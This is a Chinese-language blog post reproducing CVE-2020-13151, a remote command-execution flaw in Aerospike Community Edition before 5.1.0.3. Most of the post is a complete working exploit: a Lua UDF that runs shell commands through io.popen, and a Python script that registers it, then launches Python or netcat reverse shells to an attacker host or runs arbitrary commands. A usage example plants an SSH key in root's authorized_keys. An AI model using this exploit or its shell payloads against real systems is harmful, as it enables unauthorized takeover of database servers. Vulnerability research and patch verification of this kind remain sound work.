CVE-2020-13151 Aerospike 数据库主机命令执行漏洞

发布于 2024-04-28 12:36:48 字数 7699 浏览 17 评论 0

一、漏洞简介

攻击者借助特制的 UDF 利用该漏洞以当前用户权限在该集群的所有节点上执行任意的操作系统命令。

二、漏洞影响

Aerospike 社区版 <5.1.0.3

三、复现过程

https://github.com/b4ny4n/CVE-2020-13151

首先导入 CVE-2020-13151.lua

function runCMD(rec, cmd)
    local outtext = ""
    local phandle = io.popen(cmd)
    io.input(phandle)
    local foo = io.lines()
    for f in foo do
        outtext = outtext .. f .. "\n"
    end
    return outtext
end

一旦连接到集群(同样,社区版中没有身份验证),我们可以注册我们的 udf:

创建单记录测试数据集以进行以下操作:

然后在最终在我们连接的主机上执行命令:

poc

CVE-2020-13151

我编写了一个工具,它将记录注入目标集群,然后执行所需的命令。

它可以用来获取反向 shell:

或者只是发出任意命令:

#!/usr/bin/env python3
import argparse
import random
import os, sys
from time import sleep
import string

# requires aerospike package from pip
import aerospike
# if this isn't installing, make sure os dependencies are met
# sudo apt-get install python-dev
# sudo apt-get install libssl-dev
# sudo apt-get install python-pip
# sudo apt-get install zlib1g-dev

PYTHONSHELL = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&"""
NETCATSHELL = 'rm /tmp/ft;mkfifo /tmp/ft;cat /tmp/ft|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/ft&'

def _get_client(cfg):
    try:
        return aerospike.client({
            'hosts': [(cfg.ahost, cfg.aport)],
             'policies': {'timeout': 8000}}).connect()

    except Exception as e:
        print(f"unable to access cluster @ {cfg.ahost}:{cfg.aport}\n{e.msg}")

def _send(client, cfg, _cmd):
    try:
        print(client.apply((cfg.namespace, cfg.setname, cfg.dummystring ), 'poc', 'runCMD', [_cmd]))
    except Exception as e:
        print(f"[-] UDF execution returned {e.msg}")

def _register_udf(client, cfg):
    try:
        client.udf_put(cfg.udfpath)
    except Exception as e:
        print(f"[-] whoops, couldn't register the udf {cfg.udfpath}")
        raise e

def _random_string(l):
    return ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(l)])

def _populate_table(client, cfg):
    ns = cfg.namespace
    setname = cfg.setname
    print(f"[+] writing to {ns}.{setname}")
    try:
        rec = cfg.dummystring
        client.put((ns, setname, rec), {'pk':cfg.dummystring})
        print(f"[+] wrote {rec}")
    except Exception as e:
        print(f"[-] unable to write record: {e.msg}")
        try:
            if e.msg.startswith('Invalid namespace'):
                print("Valid namespaces: ")
                for n in _info_parse("namespaces", client).split(";"):
                    print(n.strip())
        except:
            pass
        sys.exit(13)

def _info_parse(k, client):
    try: 
        return [i[1] for i in client.info_all(k).values() ][0]
    except Exception as e:
        print(f"error retrieving information: {e.msg}")
        return []

def _is_vuln(_mj, _mi, _pt, _bd):
    fixed = [5,1,0,3]
    found = [_mj, _mi, _pt, _bd]

    if fixed == found:
        return False

    for ix, val in enumerate(found):
        if val < fixed[ix]:
            return True
        elif val == fixed[ix]:
            pass
        else:
            return False


def _version_check(client):
    print("[+] aerospike build info: ", end="")
    try:
        _ver = _info_parse("build", client)
        print(_ver)
        mj, mi, pt, bd = [int(i) for i in _ver.split('.')]
        if _is_vuln(mj, mi, pt, bd):
            print("[+] looks vulnerable")
            return
        else:
            print(f"[-] this instance is patched.")
            sys.exit(0)

    except Exception as e:
        print(f"[+] unable to interpret build number due to {e}")
        print("[+] continuing anyway... ")

def _exploit(cfg):
    client = _get_client(cfg)

    if not client:
        return

    _version_check(client)

    print(f"[+] populating dummy table.")
    _populate_table(client, cfg)

    print(f"[+] registering udf")

    _register_udf(client, cfg)

    if cfg.pythonshell or cfg.netcatshell:
        sys.stdout.flush()
        print(f"[+] sending payload, make sure you have a listener on {cfg.lhost}:{cfg.lport}", end="")
        sys.stdout.flush()
        for i in range(4): 
            print(".", end="")
            sys.stdout.flush()
            sleep(1)

        print(".")
        _send(client, cfg, PYTHONSHELL.format(ip=cfg.lhost,port=cfg.lport) if cfg.pythonshell else NETCATSHELL.format(ip=cfg.lhost,port=cfg.lport) )

    if cfg.cmd:
        print(f"[+] issuing command \"{cfg.cmd}\"")
        _send(client, cfg, cfg.cmd)

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print(f"[+] usage examples:\n{sys.argv[0]} --ahost 10.11.12.13 --pythonshell --lhost=10.0.0.1 --lport=8000")
        print("... or ... ")
        print(f"{sys.argv[0]} --ahost 10.11.12.13 --cmd 'echo MYPUBKEY > /root/.ssh/authorized_keys'")
        sys.exit(0)

    parser = argparse.ArgumentParser(description='Aerospike UDF Command Execution - CVE-2020-13151 - POC')

    parser.add_argument("--ahost", help="Aerospike host, default 127.0.0.1", default="127.0.0.1")
    parser.add_argument("--aport", help="Aerospike port, default 3000", default=3000, type=int)
    parser.add_argument("--namespace", help="Namespace in which to create the record set", default="test")
    parser.add_argument("--setname", help="Name of set to populate with dummy record(s), default is cve202013151", default=None)
    parser.add_argument('--dummystring', help="leave blank for a random value, can use a previously written key to target a specific cluster node", default=None)
    parser.add_argument("--pythonshell", help="attempt to use a python reverse shell (requires lhost and lport)", action="store_true")
    parser.add_argument("--netcatshell", help="attempt to use a netcat reverse shell (requires lhost and lport)", action="store_true")
    parser.add_argument("--lhost", help="host to use for reverse shell callback")
    parser.add_argument("--lport", help="port to use for reverse shell callback")
    parser.add_argument("--cmd", help="custom command to issue against the underlying host")
    parser.add_argument('--udfpath', help="where is the udf to distribute? defaults to `pwd`/poc.lua", default=None)

    cfg = parser.parse_args()
    if not cfg.setname:
        cfg.setname = 'cve202013151'
    if not cfg.dummystring:
        cfg.dummystring = _random_string(16)
    if not cfg.udfpath:
        cfg.udfpath = os.path.join(os.getcwd(), 'poc.lua')

    assert cfg.cmd or (cfg.lhost and cfg.lport and (cfg.pythonshell or cfg.netcatshell)), "Must specify a command, or a reverse shell + lhost + lport"
    if cfg.pythonshell or cfg.netcatshell:
        assert cfg.lhost and cfg.lport, "Must specify lhost and lport if using a reverse shell"

    _exploit(cfg)

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
23 人气
更多

推荐作者

玍銹的英雄夢

文章 0 评论 0

我不会写诗

文章 0 评论 0

十六岁半

文章 0 评论 0

浸婚纱

文章 0 评论 0

qq_kJ6XkX

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文